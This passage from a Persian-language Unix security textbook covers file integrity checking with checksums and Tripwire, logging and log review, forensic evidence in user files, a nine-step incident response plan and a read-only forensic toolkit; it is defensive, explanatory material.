یک سرویس‌دهندهٔ ایمن قرار دهید و آن partition را با استفاده از NFS یا یک پروتکل مشابه، بصورت فقط‌خواندنی به‌اشتراک بگذارید. پس از آن تمام مشتریها می‌توانند آن partition را mount کنند و از نسخه‌های اصلی برای آزمون جامعیت نسخه‌های محلی استفاده نمایند. البته باید مطمئن باشید که تمام داده‌های اصلیِ مورد استفاده در انجام مقایسه از روی رایانهٔ راه دور برداشته می‌شوند و نه از دیسک محلی. در غیر اینصورت مهاجم می‌تواند آن فایلها را طوری دستکاری کند که هیچ تغییری گزارش نشود.

یک روش دیگر برای انجام مقایسه از راه دور روی شبکه، استفاده از "rdist" است. به خاطر داشته باشید که نگهداری از نسخه‌های فایلهای اجرایی به تنهایی کافی نیست؛ بلکه کتابخانه‌های مشترک و فایلهای پیکربندی نیز باید با نسخه‌های اصلی خود مقایسه شوند.

فهرستهای کنترل و فراداده‌ها

ذخیرهٔ یک نسخه از هر فایلِ حیاتی و انجام مقایسهٔ بایت به بایت بسیار پرهزینه است. برای نگهداری نسخه‌ها فضای زیادی از دیسک لازم است. علاوه بر آن اگر مقایسه روی شبکه انجام گیرد، هر بار مقایسه سربار زیادی روی دیسک و شبکه می‌گذارد.

یک روش کارآتر، ذخیرهٔ خلاصه‌ای از خصوصیات مهم هر فایل یا شاخه است. در اینحالت برای انجام مقایسه، این خلاصه‌ها مجدداً تولید می‌شوند و با مقدار ذخیره‌شده مقایسه می‌گردند. اگر این خلاصه‌ها جامع و از حجم کمتری برخوردار باشند، به وضوح یک روش کارآتر برای مقایسه خواهند بود.

این روش می‌تواند تغییراتی را تشخیص دهد که با مقایسهٔ ساده نمی‌توان متوجه آنها شد. نسخه‌های مقایسه‌ای تنها تغییرات در محتویات فایل را تشخیص می‌دهند و قابلیت تشخیص تغییر در فراداده‌هایی مانند مالک فایل، *وضعیتهای حفاظتی*[۳۳۳]، یا زمان تغییر فایل را ندارند. گاهی اوقات این داده‌ها مهمتر از داده‌های درون فایل هستند؛ چراکه اگر در مالک یا بیتهای محافظتی فایلها یا شاخه‌ها تغییرات اشتباه رخ دهد، ممکن است فاجعه به بار آید. ساده‌ترین شکل کنترل، فهرست کردن فایلها و *صفات*[۳۳۴] آنها در یک فهرست کنترل و مقایسهٔ نتیجه با یک نسخهٔ از پیش ذخیره‌شده می‌باشد. معمولاً برای فایلهای مهم، نگهداری تمام شاخه‌های بالاتر آن نیز لازم است.

سرجمع‌ها و امضاها

متأسفانه با کمی تلاش می‌توان فهرستهای سادهٔ کنترلی را مغلوب کرد. می‌توان فایلها را طوری دستکاری کرد که تغییرات اطلاعاتی که شما ذخیره می‌کنید تشخیص داده نشوند. بعنوان نمونه برای تغییر یک فایل می‌توان با دانستن بلوک مورد نظر، مستقیماً و مستقل از سیستم فایل، روی دیسک نوشت. چون تغییر از طریق سیستم فایل انجام نگرفته است، هیچ یک از اطلاعات مربوط به زمان تغییر فایل عوض نمی‌شوند. بعنوان نمونه‌ای دیگر، مهاجم می‌تواند ساعت سیستم را به آخرین زمان مجاز برای انجام تغییرات مشروع ببرد، فایل را تغییر دهد، و سپس ساعت سیستم را مجدداً به زمان اولیه بازگرداند.

برای مقابله با این تهدیدات می‌توان برای فایلها امضا ایجاد کرد و امضاها را با هم مقایسه نمود. یک امضای خوب باید به تک تک بیتهای فایل بستگی داشته باشد، و یک مهاجم نباید بتواند فایل دیگری با همان امضا تولید کند. این نیازمندیها صلاحیت الگوریتمهای ساده سرجمعگیری (مانند CRC) را زیر سؤال می‌برند، ولی با استفاده از خلاصه‌های رمزنگاری می‌توان آنها را برآورد.

نرم‌افزارهای خوب بررسی یکپارچگی و صحت فایلها معمولاً می‌توانند چند نوع خلاصهٔ رمزنگاری برای هر فایل و فراداده‌هایش تولید کنند. وقتی از یک نسخهٔ سالم برای تولید امضاها استفاده شود و از امضاها در محلی امن (مثلاً یک رسانهٔ قابل حمل یا یکبار نوشتنی) نگهداری شود، هر تغییر در فایلها را می‌توان با امضاگیری مجدد و مقایسه با امضای آن نسخهٔ سالم براحتی تشخیص داد.

333 Protection Modes
334 Attributes

یک بستهٔ نرم‌افزاری چندبستری برای انجام اینکار Tripwire (*http://www.tripwire.com*) است که یک نسخهٔ رایگان و متن‌باز آن در Linux موجود می‌باشد.

فایلهای ثبت

یک فایل ثبت، فایلی است که وقوع رخدادها در آن ثبت می‌شود. رخدادهای قابل ثبت یا *رخدادهای ثبتی*[۳۳۵]، از فعالیتها یا شروط خاصی هستند که از نظر نویسندهٔ یک برنامه ارزش ذخیره کردن دارند. فایلهای ثبت یکی از عناصر مهم تشکیل‌دهندهٔ یک سیستم امن هستند: با وجود آنها یک تاریخچهٔ ذخیره‌شده و سلسلهٔ ممیزی از گذشتهٔ رایانهٔ خود دارید که ردیابی مشکلات و حملات را برای شما ممکن می‌سازد. با استفاده از فایلهای ثبت می‌توانید قطعات اطلاعاتی را کنار هم بگذارید و دلیل یک اشکال، مبدأ یک نفوذ، یا محدودهٔ صدمات وارده را کشف کنید. در مواردیکه نمی‌توانید جلوی صدمات را بگیرید حداقل سابقه‌ای از آنرا در اختیار خواهید داشت. آن ثبتها ممکن است دقیقاً همان چیزی باشند که شما برای بازسازی سیستم خود، انجام تحقیقات، شهادت دادن در دادگاه، یا گرفتن هزینهٔ خسارتها از شرکت بیمه لازم داشته باشید.

ذخیرهٔ ثبتها می‌تواند در محلهای مختلفی انجام شود:

- ثبتها را می‌توان روی همان رایانه که رخداد روی آن اتفاق افتاده ذخیره کرد. برای مثال در سیستمهای جدید Unix ثبتها در شاخهٔ /var/log ذخیره می‌شوند، هرچند بعضی برنامه‌ها در شرایط خاص از شاخه‌های دیگر استفاده می‌کنند. سیستمهای مبتنی بر Windows NT پیامهای سیستم‌عامل و برنامه‌ها را جمع‌آوری و در یک فایل ثبت واحد ذخیره می‌نمایند (معمولاً در فایل C:\WINNT\system32\config\SysEvent.Evt)؛ هرچند در این بسترها هم ممکن است برنامه‌های منفرد فایلهای ثبت مخصوص به خود را داشته باشند.
- می‌توان ثبتها را از طریق شبکه به یک رایانهٔ راه دور فرستاد تا همگی بصورت یکجا و درکنار هم ذخیره شوند. این رایانهٔ راه دور که گاهی *سرویس‌دهندهٔ ثبت*[۳۳۶] نامیده می‌شود می‌تواند بعنوان یک محل مرکزی برای نظارت بر تعداد زیادی رایانه روی یک شبکه بکار رود. یک سرویس‌دهندهٔ ثبت را می‌توان بوسیلهٔ یک دیوارهٔ آتشِ مبتنی بر میزبان طوری پیکربندی کرد که اطلاعات ثبتی سایر رایانه‌ها را دریافت کند ولی نتواند هیچ بسته‌ای را روی شبکه بفرستد. استفاده از یک سرویس‌دهندهٔ ثبت در جلوگیری از پاک شدن فایلهای ثبت توسط مهاجم کمک می‌کند. یک سیستم متمرکز ثبت از راه دور، محلی ایده‌آل برای اجرای نرم‌افزار مهاجم‌یاب روی ثبتهای جمع‌آوری شده نیز می‌باشد.
- ثبتها را می‌توان روی رسانه‌های یکبار نوشتنی نوشت یا به چاپ رساند. طبیعی است که این دسته از ثبتها را نمی‌توان بدون دسترسی فیزیکی از بین برد، و البته نگهداری حجم زیاد آنها نیز می‌تواند دردسرساز باشد.

برخی اطلاعات را به دلایل امنیتی هرگز نباید ثبت کرد. برای مثال هرچند تلاشهای ناموفق برای وارد کردن رمز عبور باید ثبت شوند، ولی رمز عبور بکار رفته در این تلاشها هرگز نباید ثبت گردد. کاربران مکرراً رمز عبور خود را اشتباه تایپ می‌کنند و ثبت این اشتباهات می‌تواند به مهاجمان در یافتن رمز عبور صحیح و درنتیجه نفوذ به حساب کاربری شخص کمک کند. برخی راهبران سیستم حتی اعتقاد دارند که در تلاشهای ناموفق برای ورود، نام کاربری نیز نباید ثبت شود – بخصوص اگر حسابی که کاربر نام آنرا وارد کرده وجود خارجی نداشته باشد؛ و دلیل آنها هم این است که گاهی کاربران رمز عبور خود را بجای نام کاربری وارد می‌کنند.

335 *Log Events*
336 *Log Server*

رخدادهایی که ثبتشان ضرورت دارد

هرچند برنامه و سیستمهای مختلف رخدادهای متفاوتی را ثبت می‌کنند، ولی ثبت بعضی از انواع رخدادها ضروری است و اینکار باید بوسیلهٔ هر رایانهٔ حساسی انجام شود:

- اتصالات شبکه‌ای از میزبانهای راه دور و اتصالات تلفنی ورودی و خروجی مودمها. در برخی موارد ثبت الگوی کلی ترافیک داده‌ایِ شبکه می‌تواند باعث کشف زیاد بودن داده‌های خروجی شود که در بیشتر موارد دلیل آن استفادهٔ غیرقانونی یک مهاجم از پهنای باند برای انتقال داده‌های محرمانهٔ شما است؛
- زمان و محل ورود کاربران به سیستم. اگر کسی از خارج کشور یا در ساعات غیرعادی به حساب کاربری یک کاربر محلی وارد شد، این امر می‌تواند نشانهٔ یک تهاجم باشد؛
- تلاشهای ناموفق برای ورود، که می‌تواند اخطاری برای شما باشد که اعلام می‌کند مهاجمان در تلاش هستند که وارد رایانهٔ شما شوند؛
- نگهداری مشخصات پردازه‌ها شامل زمان شروع و خاتمه، میزان استفاده از ریزپردازنده، مالکیت، و امتیازات پردازه. این نوع ثبت می‌تواند هر دستوری که روی سیستم اجرا شده است را آشکار کند و در تحلیل نفوذهای امنیتی نیز مفید است (البته اگر دست‌نخورده باقی مانده باشد)؛
- خاموش‌شدنها و راه‌اندازیهای مجدد سیستم. تکرار راه‌اندازیهای غیرمنتظره می‌تواند علامت یک مشکل سخت‌افزاری، وجود یک مهاجم با دسترسی فیزیکی که سیستم را در حالت تک‌کاربره راه‌اندازی مجدد کرده است، یا یک مهاجم راه دور که می‌خواسته ردپایش در حافظه باقی نماند باشد؛ و
- رخدادهای استثناییِ گزارش‌شده توسط سیستم‌عامل (مثل پرشدن دیسک). این موارد همیشه نیازمند توجه هستند؛ چه توسط یک مهاجم بوجود آمده باشند و چه محصول روند طبیعی استفاده از سیستم باشند.

در هر رخدادی که ثبت می‌شود باید پردازهٔ تولیدکنندهٔ آن، و تاریخ و ساعت را نیز ثبت کرد. اکثر سیستمهای ثبت‌کننده، به هر رخداد یک "گروه" که مبدأ آنرا توصیف می‌کند (مانند "نامه"، "شبکه"، و یا "هسته")، و یک "حساسیت" یا "شدت" که بیانگر اهمیت آن است (مانند "جهت اطلاع"، "اخطار"، و یا "خطای بحرانی") نسبت می‌دهند. مثال زیر پیامی است که توسط یک سیستم Unix به ثبت رسیده است:

```
Aug 14 08:02:12 «mail.info» r2 postfix/local[81859]: 80AD8E44308:
to=«jhalonen@ex.com», relay=local,delay=1, status=bounced (unknown
user: "jhalonen")
```

این پیام بوسیلهٔ برنامهٔ postfix ایجاد شده است. این پیام گزارش می‌دهد که یک نامهٔ الکترونیکی با شناسهٔ 80AD8E44308 برای کاربر jhalonen@ex.com دریافت شد، و می‌گوید که آن پیام به حالت تعلیق در آمد، چون کاربر jhalonen@ex.com وجود خارجی نداشت. ""گروه" این واقعه "نامه" (mail) و حساسیت آن "جهت اطلاع" (info) می‌باشد.[۳۳۷]

تحلیل فایل ثبت

صرف ثبت کردن وقایع کافی نیست، بلکه ثبتها باید مورد مطالعه و بررسی مداوم قرار داشته باشند. در یک سرویس‌دهنده که در هر ساعت ممکن است در آن صدها یا هزاران رخداد ثبت شود، حتی فکرِ خواندن آنها هم راهبران را به وحشت می‌اندازد. برنامه‌های تحلیل فایلهای ثبت سعی می‌کنند انجام اینکار را با جمعبندی و خلاصه‌سازی (غربال‌کردن) فایلهای ثبت ساده‌تر کنند و توجه شما را به رخدادهای مهم جلب و از رخدادهای عادی دور نمایند.

---

۳۳۷ *برای بحث جزئی‌تر در مورد پیکربندی، اولویتها و تسهیلات انجام ثبت در Unix، به صفحات ۶۴۲ تا ۶۵۴ از کتاب PUIS مراجعه کنید.*

برخی نرم‌افزارهای تحلیل مانند Microsoft Event Viewer به شما اجازه می‌دهند صافیها و عوامل مورد نظر خود را انتخاب کنید. برخی دیگر مانند Swatch در سرویس‌دهنده‌های Unix بصورت بلادرنگ بر ثبتها نظارت می‌کنند و هرگاه اتفاق مهمی بیافتد اخطار می‌دهند.[۳۳۸]

فایلهای ثبت اختصاصی برنامه‌ها

بیشتر برنامه‌های کاربردی خصوصاً daemonها از فایلهای ثبت مخصوص به خود استفاده می‌کنند. سرویس‌دهنده‌های وب و سرویس‌دهنده‌های FTP همواره انتقال فایل و اتصالات را ثبت می‌کنند، سرویس‌دهنده‌های DNS نیز درخواستها و انتقالهای دامنه‌ها را به ثبت می‌رسانند، سرویس‌دهنده‌های پایگاه داده‌ای queryها را ثبت می‌نمایند و سرویس‌دهنده‌های پست الکترونیکی همواره اتصالات و اطلاعاتی چون اندازهٔ پیامها هنگام ارسال و دریافت شدن آنها را ثبت می‌کنند. خطاها و شرایط استثنایی تقریباً همیشه ثبت می‌شوند. در بسیاری موارد، ابزارهای تحلیل برای خلاصه کردن و تهیهٔ گزارشهایی قابل استفاده‌تر از ثبتهای مخصوص هر برنامه نیز بوجود آمده‌اند.

ثبتهای دست‌نویس

نوع دیگری از ثبت که در تأمین امنیت به شما کمک می‌کند توسط رایانه انجام نمی‌پذیرد، بلکه بوسیلهٔ خود شما و کارمندان صورت می‌گیرد. یک دفترچه برای ثبت وقایع داشته باشید و فعالیتهای روزانهٔ خود را در آن ثبت کنید. دفاتر ثبت باید کاغذی باشند و در مکانی نگهداشته شوند که از نظر فیزیکی امن باشد. از آنجا که آنها را روی کاغذ نگهداری می‌کنید، کسی که به رایانه شما حتی با امتیاز دسترسی ابرکاربر وارد شود، نمی‌تواند آنها را تغییر دهد. این ثبتها یک بایگانی از اطلاعات مهم هستند که بصورت الکترونیکی قابل دستکاری نیستند.

ثبتهای دست‌نویس مزایای متعددی نسبت به ثبتهای رایانه‌ای دارند. در اینجا شما می‌توانید مسائلی را ثبت کنید که رایانه‌ها نمی‌توانند، مثلاً تهدیدهای به بمب‌گذاری. از طرف دیگر حتی وقتی سیستم خاموش است نیز می‌توانید ثبتهای کاغذی را بخوانید. در قوانین برخی کشورها ثبتهای کاغذی مدارک معتبرتری از ثبتهای رایانه‌ای محسوب می‌شوند.

بزرگترین مشکل استفاده از دفترچه‌های ثبت، زمان زیادی است که برای به روز نگهداشتن آنها لازم است؛ چراکه دیگر نمی‌توان عملیات ثبت را به یک قطعه‌برنامهٔ خودکار سپرد. متأسفانه این معضل زمانی بزرگترین دلیلی است که باعث می‌شود راهبران سیستمها در استفادهٔ مداوم از این قبیل ثبتها اکراه داشته باشند (بخصوص در اداره‌هایی با صدها یا هزاران رایانه که هریک از آنها نیاز به یک دفترچهٔ ثبت مخصوص به خود دارد). پیشنهاد می‌شود بجای تلاش بیهوده برای به‌روز نگهداشتن چندین دفترچهٔ ثبت، سعی کنید با کمی خلاقیت راهی برای کم کردن حجم ثبتها بدون کاسته شدن از ارزش آن بیابید. دو روش برای کاستن از ثبتهای اضافی عبارتند از "فشرده‌سازی اطلاعات ثبت" و "نگهداری ثبت گروهی برای دسته‌ای از رایانه‌ها"؛ که هرکدام اگر بصورت صحیح انجام شوند، چیزی از ارزش ثبتها نمی‌کاهند.

اساساً دو نوع دفترچهٔ ثبت وجود دارد: ثبت به ازای هر اداره، و ثبت به ازای هر رایانه. در دفترچه‌های ثبت به ازای هر اداره از اطلاعاتی نگهداری می‌کنید که برای تمام رایانه‌ها و عملیات شما مفید هستند. این اطلاعات را می‌توان به گزارش رخدادها و رخدادهای استثنایی (قطعی برق، فعال شدن و تست زنگ‌خطرها، کارهای پرسنلی روی کارمندان با امتیازات خاص)، و مواد اطلاعاتی (اطلاعات تماس، رسیدهای سخت‌افزار و نرم‌افزار، شماره‌سریال ابزارها، آدرس MAC ماشینهای مجهز به Ethernet، نسخه‌هایی از پیکربندی مسیریابها و...) تقسیم‌بندی کرد. برای هر ماشین نیز باید یک دفترچهٔ ثبت مخصوص داشته باشید. و در آن گزارشات رخدادهای استثنایی مثل گزارش خرابیهای سیستم، زمانهای خاموش بودن رایانه، ایجاد و حذف حسابهای کاربری، تغییر رمز عبور، نصب نرم‌افزار، و نیز

---

۳۳۸ همان منبع، صفحات ۶۵۴ تا ۶۵۷

پشتیبان‌گیری از سیستم را به ثبت برسانید. مواد اطلاعاتی می‌توانند شامل نسخه‌های فایلهای پیکربندی، فهرست وصله‌های اعمال‌شده، و نیز وضعیت پیکربندی دیسکها باشند.

مدیریت فایلهای ثبت

در اینجا چند توصیهٔ پایانی در مورد فایلهای ثبت می‌آوریم:

پشتیبان‌گیری

اطمینان حاصل کنید که تمام فایلهای ثبت بطور منظم – ترجیحاً هر روز – به روی رسانهٔ پشتیبان منتقل می‌شوند. زمانبندی پشتیبان‌گیری باید به گونه‌ای باشد که فایلهایی که متناوباً پاک می‌شوند قبل از پاک شدن به روی پشتیبان منتقل شده باشند. بدین ترتیب اطمینان حاصل می‌شود که در طول زمان سابقه‌ای از رفتار و دسترسیهای انجام‌شده به سیستم خود را در اختیار دارید.

مرور کردن

فایلهای ثبت را حداقل روزی یکبار مرور کنید. اگر به طور مرتب ثبتها را مرور نکنید، نگهداری آنها کمکی به شما نمی‌کند. به کمک فایلهای ثبت می‌توانید مشکلات سخت‌افزاری، پیکربندی شبکه و همچنین نارسائیهای امنیتی خود را پیدا کنید.

پردازش

فایلهای ثبت خود را با استفاده از نرم‌افزارهای تحلیلگر، خلاصه کنید. بسیاری از گزارشات ثبت‌شده مطلب قابل توجهی ندارند. ممکن است دیدن این مسائل آنقدر برای شما عادی شود که طبق عادت برای دیدن اینکه مشکلی وجود دارد یا نه، یک نگاه گذرا به گزارشات بیاندازید، و بدین ترتیب بسیار احتمال دارد که متوجه یک پیام مهم نشوید.

در خلاصه‌سازی باید دقت کنید. نباید ثبتها را بگونه‌ای خلاصه کنید که مطالب مهمی که شما می‌خواهید ببینید را انتخاب کند و بقیه را دور بیاندازد. در چنین سیستمی بسیار محتمل است که یک پیام مهم قبل از خوانده شدن، دور ریخته شود. درعوض باید پیامهای خسته‌کننده را با دقت در تطبیق الگو تا حد ممکن غربال کند، و بقیه را برای بررسی به شما بسپارد. هر از چندگاه باید پیامهای انتخاب‌نشده را نیز مطالعه کنید تا مطمئن شوید با استفاده از مکانیزم غربال‌سازی پیامها، مطلب مهمی را از دست نمی‌دهید.

اعتماد

به ثبتها بطور مطلق اعتماد نکنید. مهاجمانی که امتیازات ابرکاربر بدست می‌آورند، معمولاً می‌توانند ثبتها را تغییر داده یا حذف کنند. کاربران محلیِ دارای دسترسی فیزیکی یا دانش کافی از سیستم نیز می‌توانند مکانیزم ثبت را برای گمراه کردن شما دستکاری کنند یا دور بزنند؛ و البته خطاهای نرم‌افزاری یا سیستمی نیز ممکن است منجر به عدم جمع‌آوری و ذخیرهٔ صحیح ثبتها شوند. درنتیجه لازم است که از مکانیزمهای ثبت و پویش اضافی استفاده کنید: اینکه مسئله‌ای ثبت نشده دلیل بر آن نیست که اتفاق نیفتاده است.

البته ثبت شدن یک مسئله هم لزوماً به معنی اتفاق افتادنش نیست؛ چراکه ممکن است مهاجم نکته‌ای در ثبتها قرار دهد تا شما را از مشکل اصلی دور کند یا شخص دیگری را در مظان اتهام قرار دهد.

جمع‌آوری مدارک

بیشتر اطلاعات درون فایلهای مختلف ثبت، آگاهانه و با تصمیم یک طراح یا برنامه‌نویس در آن وجود دارد، ولی یک سیستم درحال اجرا اطلاعات دیگری را نیز ثبت می‌کند. در سالهای اخیر گرایش زیادی به جرمشناسی رایانه‌ای – هنر خواندن و استفاده از ردپاهای به جا مانده از یک مهاجم در سیستمهای رایانه‌ای – پیدا شده است.

هرچند ممکن است در ابتدا واضح به نظر نیاید، ولی هنگامیکه اتفاق ناگواری برای سیستم می‌افتد، برخی فایلها هستند که اگر برای هر کاربر بصورت جداگانه نگهداشته شده باشند، در انجام تحلیلها کمک بیشتری می‌کنند. این فایلها در واقع فایلهای ثبت واقعی نیستند، اما یک منبع مفید اطلاعاتی در مورد رفتار کاربر می‌باشند.

سوابق دستورات پوسته

بسیاری از *پوسته‌های دستوری*[۳۳۹] در Unix از جمله bash، csh، tcsh و ksh یک *فایل سابقه*[۳۴۰] (یا تاریخچه) دارند. وقتی کاربر دستوری وارد می‌کند، متن دستور به همراه آرگومانهایش برای اجرای مجدد در آینده در این فایل نگهداری می‌شود. چنانچه سعی دارید فعالیتهای انجام شده در یک حساب کاربری را بازسازی کنید، می‌توانید محتویات این فایل را در کنار ثبتهای سیستم قرار دهید. باید زمانهای تغییرات این فایل را بررسی کنید تا مطمئن شوید هنگام انجام فعالیت مشکوک فعال بوده است. اگر این فایل در زمان فعالیت مهاجم ایجاد شده و تغییر کرده باشد، باید بتوانید دستورات اجرا شده، برنامه‌های کامپایل شده، و گاهی اوقات حتی نام رایانه‌ها و حسابهای کاربری درگیر در رخداد را تعیین کنید. سعی کنید حساب یا حسابهایی که هدف این حمله قرار گرفته‌اند را بیابید، چراکه این رخداد به نقض حریم خصوصی کاربران آن حسابها انجامیده است.

مسلماً یک مهاجم آگاه، قبل از خروج از سیستم این فایل را حذف خواهد کرد، اما در برخی موارد می‌توان از محتویات این فایل مطلع شد: یا با اجبار مهاجم به خروج؛ ایجاد یک پیوند سخت به فایل در جایی دیگر (نسخه‌برداری از فایل) قبل از خروج مهاجم، و یا بازیابی فایلهای حذف شده.

پست الکترونیکی

حسابهای برخی کاربران طوری پیکربندی شده‌اند که یک نسخه از تمام نامه‌های فرستاده شده را در یک فایل نگه می‌دارند. اگر مهاجم از چنین حسابی نامه بفرستد، بررسی یک نسخه از نامه‌های ارسالی‌اش می‌تواند به شما اطلاعات مفیدی بدهد. حداقل در یک مورد گزارش‌شده، یکنفر که اطلاعات محرمانه را با استفاده از رمز عبور مسروقهٔ همکارش می‌دزدید، به این دلیل لو رفت که در بررسیها معلوم شد نامه‌هایی که می‌فرستاده را با نام خودش امضا می‌کرده است!

تنظیمات شبکه

حساب هر کاربر می‌تواند چندین فایل برای پیکربندی شبکه داشته باشد، که می‌توان از آنها برای ایجاد *میانبر*[۳۴۱] برای صدور دستورات یا اعمال حقوق دسترسی استفاده کرد. بعضی مواقع اطلاعات این فایلها می‌تواند سرنخی باشد برای ردگیری فعالیتهای یک تبهکار. نمونه‌هایی از این فایلها در Unix عبارتند از .rhosts ، ssh/known_hosts و ssh/authorized_keys. برای ورود از راه دور، و فایل netrc. برای FTP. در این فایلها بدنبال سرنخ بگردید، ولی به خاطر داشته باشید که اطلاعات موجود در این فایلها ممکن است مربوط به قبل از حمله باشد و یا برای گمراه کردن شما در آنجا قرار گرفته باشد.

رسیدگی به نفوذ

شما باید طرحی برای مقابله با رخنه‌های امنیتی داشته باشید. بطور اعم، همهٔ سازمانهایی که نگرانی خاصی در زمینهٔ امنیت خود دارند باید چنین طرحی داشته باشند. مؤلفه‌های اصلی این طرح عبارتند از:

339 Command Shells
340 History File
341 Shortcut

مؤلفهٔ ۱: مشکل را تشخیص دهید و با آن آشنا شوید

مضطرب نشوید و بدون فکر کاری انجام ندهید. اگر ندانید مشکل چیست نمی‌توانید اقدامی برای رفع آن انجام دهید. این مؤلفه به این معنی نیست که باید درک بی‌نقصی از مسئله داشته باشید، ولی حداقل باید بدانید با چه شکلی از مشکل روبرو هستید. بعنوان مثال اگر مشکل ناشی از انتقامجویی یک کارمند باشد که با یک رایانهٔ کیفی در دفتر همکارتان پنهان شده است، قطع اتصال اینترنت کمکی به رفع آن نمی‌کند.

مؤلفهٔ ۲: مستندسازی کنید

چه هدفتان راه‌اندازی هرچه سریعتر سیستم باشد و چه جمع‌آوری مدرک برای پیگرد قانونی، درصورت پایبندی به این مؤلفه نتیجهٔ بهتری می‌گیرید. بلافاصله شروع به ثبت کاغذی کنید و هر کاری که انجام می‌دهید را مستند نمایید. یک دفترچه بردارید و هر سرنخی که پیدا می‌کنید را با ذکر تاریخ و ساعت، یادداشت کنید. اگر فایلهای متنی را مورد بررسی قرار می‌دهید، آنها را چاپ نمایید و روی هر برگ آن تاریخ و امضا بزنید.

ممکن است سازمانهای بزرگ یک مأمور امنیتی یا یک تیم واکنش داخلی داشته باشند که مسئولیت رسیدگی به نفوذها، مهار خسارتها، و هماهنگی واکنشها بر عهدهٔ آنها باشد. اگر سازمان شما دارای چنین سیستمی برای گزارش وقایع داخلی است، مطمئن شوید که افراد مسئول همواره از مراحل ابتدایی حضور دارند و علاوه بر تدوین گامهای واکنش به رخداد، در مستندسازی نیز کمک می‌کنند.

مؤلفهٔ ۳: خسارتها را متوقف یا مهار کنید

وقتی مشکل را تشخیص دادید بلافاصله اقدام به محدودکردن یا خاتمه‌دادن به آن کنید. مثلاً اگر کارمندی را که فایلهای سیستم را حذف می‌کند شناختید، حساب کاربری او را غیر فعال نمایید، و اعمال تنبیهی را نیز مد نظر داشته باشید. این کارها برای محدود کردن خسارتهای وارده به سیستم و داده‌های شما است.

مؤلفهٔ ۴: از درستی تشخیص خود اطمینان حاصل کنید و خسارتهای وارده را تعیین نمایید

بعد از مهار صدمات، تشخیص خود از مشکل را به تأیید برسانید و خسارات وارده را تعیین کنید. آیا بعد از اخراج کارمند هنوز هم فایلها پاک می‌شوند؟ شما هرگز نمی‌توانید صد درصد از ارتباط دو یا چند واقعه با یکدیگر مطمئن شوید. علاوه بر آن ممکن است نتوانید بلافاصله تمام خسارتهای وارده را تعیین کنید.

مؤلفهٔ ۵: درصورت لزوم مدارک را نگهدارید

اگر قصد پیگرد قانونی رخداد را دارید یا بدنبال جبران قانونی خسارتهای ناشی از آن هستید باید قبل از هر عمل دیگر سعی در جمع‌آوری مدارک لازم کنید. عدم موفقیت در جمع‌آوری مدارک نباید مانع از تماس شما با پلیس و تشکیل پرونده علیه یک مظنون شود، اما کمبود مدارک ممکن است شانس موفقیت شما را تا حد قابل توجهی پایین آورد. توجه داشته باشید که حفظ مدارک ممکن است زمانگیر و مشکل باشد و بسیاری از سازمانها به همین دلیل ساده هنگام روبرو شدن با مشکلات به این مؤلفه بی‌توجهی نشان می‌دهند.

مؤلفهٔ ۶: سیستم را ترمیم کنید

بعد از شناساییِ وسعت خسارتها لازم است که سیستم و داده‌های خود را به یک حالت پایدار برسانید. این عمل ممکن است نیاز به بازگرداندن قسمتهایی از سیستم از روی پشتیبانها داشته باشد، و یا ممکن است فقط به معنی راه‌اندازی مجدد سیستم باشد. قبل از ادامهٔ کار مطمئن شوید که تمام برنامه‌هایی که می‌خواهید مورد استفاده قرار دهید امن هستند؛ چراکه مهاجم ممکن است برنامهٔ ترمیم شما را با یک اسب تراوا جایگزین کرده باشد که فایلها را هم از روی دیسک سخت و هم از روی نوار مغناطیسی پشتیبان پاک کند.

مؤلفهٔ ۷: دلیل وقوع رخداد را پیدا کنید

اگر مشکل ناشی از یک ضعف امنیتی یا ناشی از نقص در تدابیر پیشگیرانهٔ شما باشد، بعد از بازگرداندن سیستم به وضعیت عادی باید یکسری تغییرات و تعمیرات انجام دهید. اگر دلیل مشکل، یک شخص بوده که اشتباهی مرتکب می‌شده، احتمالاً آموزشهای لازم برای جلوگیری از وقوع مجدد این رخداد را به وی خواهید داد، و اگر کسی از روی قصد در کارهای شما مداخله کرده باشد ممکن است بخواهید از طرق قانونی علیه وی اقدام کنید.

مؤلفهٔ ۸: فعالیتهای لازم برای مقابله را انجام دهید

اگر خسارتهای ناشی از حمله مشمول بیمه شود قاعدتاً ادعای خسارت می‌کنید. بعد از وقوع رخداد، برای توضیح اینکه چه اتفاقی افتاده، چه نفوذهایی صورت گرفته و در مقابل آن چه اقداماتی انجام شده، کنترل شایعات و مدیریت روابط اجتماعی لازم است. این گام برای جوامع نسبتاً بزرگ کاربران اهمیت دارد، چراکه آثار شایعات و نگرانیهای آنها می‌تواند از خود رخداد مضرتر باشد.

مؤلفهٔ ۹: پس از رخداد، عملکرد خود را مورد ارزیابی قرار دهید

بعد از اینکه از رفع مشکل مطمئن شدید، بروز رخداد و اقدامات خود برای مقابله با آنرا مورد بازبینی قرار دهید. شما و تیمتان چگونه می‌توانستید بهتر به آن رسیدگی کنید؟ چه تلاشهایی بی‌نتیجه ماندند؟ کدام تصمیمات اشتباه بودند؟ و مهمتر از همه اینکه از همان ابتدا چگونه می‌توانستید از وقوع آن رخداد جلوگیری کنید؟

علاوه بر یک طرح عملیاتی، با داشتن یک جعبه‌ابزار روی یک رسانهٔ فقط خواندنی (مثل دیسک فلاپی، دیسک فشرده، و...) می‌توانید آمادگی خود را افزایش دهید. این جعبه‌ابزار یکسری برنامهٔ دستکاری‌نشده برای پاسخ به واقعه در اختیار شما می‌گذارد؛ پس می‌توانید برنامه‌هایی را که برای بررسی یک سیستم دستکاری‌شده لازم دارید در آن قرار دهید. این برنامه‌ها برای یک سیستم Unix می‌تواند شامل اقلام زیر باشد:

awk, bash, cat, compress, cut, dd, des, df, du, file, find, grep, gzip, icat, ifconfig, last, ls, lsmod, lsof, md5sum, modinfo, more, netcat, netstat, nmap, paste, pcat, perl, pgp, pkginfo, ps, rpm, rm, script, sed, strings, strace, tar, top, truss, uncompress, vi, and *w*.

کتابخانه‌های مشترک را فراموش نکنید (یا برنامه‌ها را بصورت ایستا پیوند نمایید). داشتن یک سیستم‌عامل قابل راه‌اندازی روی آن دیسک فشرده نیز مفید است. بعنوان مثال Knoppix (http://www.knoppix.org) یک جعبه‌ابزار دم دستی مناسب مبتنی بر Linux است که تعداد زیادی ابزارهای تحلیل و جرمشناسی نیز به همراه خود دارد. چون Linux می‌تواند سیستم فایل FAT مایکروسافت و سایر سیستمهای فایل Unix را mount کند، یک دیسک فشردهٔ Knoppix جعبه‌ابزار بسیار مفیدی می‌باشد.

کشف یک تهاجم

چند حالت برای مطلع‌شدن از یک تهاجم وجود دارد:

